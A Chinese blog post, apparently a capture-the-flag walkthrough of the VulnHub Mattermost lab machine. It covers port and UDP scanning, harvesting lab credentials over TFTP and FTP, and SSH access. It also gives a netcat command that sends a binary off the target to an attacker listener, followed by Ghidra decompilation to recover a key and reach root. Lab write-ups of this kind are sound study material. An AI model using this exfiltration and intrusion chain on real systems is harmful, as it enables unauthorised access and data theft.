vulnhub之mattermost的实践

今天实践的是vulnhub的mattermost镜像，下载地址，

https://download.vulnhub.com/enumbox/Mattermost.7z，

用workstation导入成功，先做地址扫描，

sudo netdiscover -r 192.168.137.0/24，

接着做端口扫描，sudo nmap -sS -sV -T5 -A -p- 192.168.137.53，

浏览器访问一下http://192.168.137.53:8065，需要用户名密码登录，

接下来的事情就比较尴尬了，竟然想到可能有udp的tftp服务，

扫描一下，真有，sudo nmap -sU -p 69 192.168.137.53，

登录，下载文件，tftp 192.168.137.53，
get README.md
quit
cat README.md

得到了用户名密码，Admin/ComplexPassword0!，登录8065的界面，

找到一个zoom插件的地方，使能插件后，得到一个url，

访问这个url，http://192.168.137.53/JK94vsNKAns6HBkG/AxRt6LwuA7A6N4gk/index.html，

得到新的用户名密码，ftpuser/ftppassword，登录ftp，

ftp 192.168.137.53
ftpuser
ftppassword
dir
cd users
dir
cd mattermost
dir
get message
bye
cat message

又获取到新的用户名密码，mattermost/Welcome!!!，

这回能ssh登录，登录进去后发现了提示信息，但执行文件说key过期，

ls
cd Desktop
ls
cat README.md
./secret

想办法把secret文件搞出来，kali攻击机上nc -nlvp 1234 > secret，

靶机上，cat secret | nc 192.168.137.141 1234，

kali攻击机上安装反编译软件ghidra，

sudo apt update，sudo apt install ghidra，
cd /usr/share/ghidra，./ghidraRun，

反编译得到key，0xf447，转成10进制，62535，

这回再执行文件，输入正确的key，id一下确认是root，

原文始发于微信公众号（云计算和网络安全技术实践）：vulnhub之mattermost的实践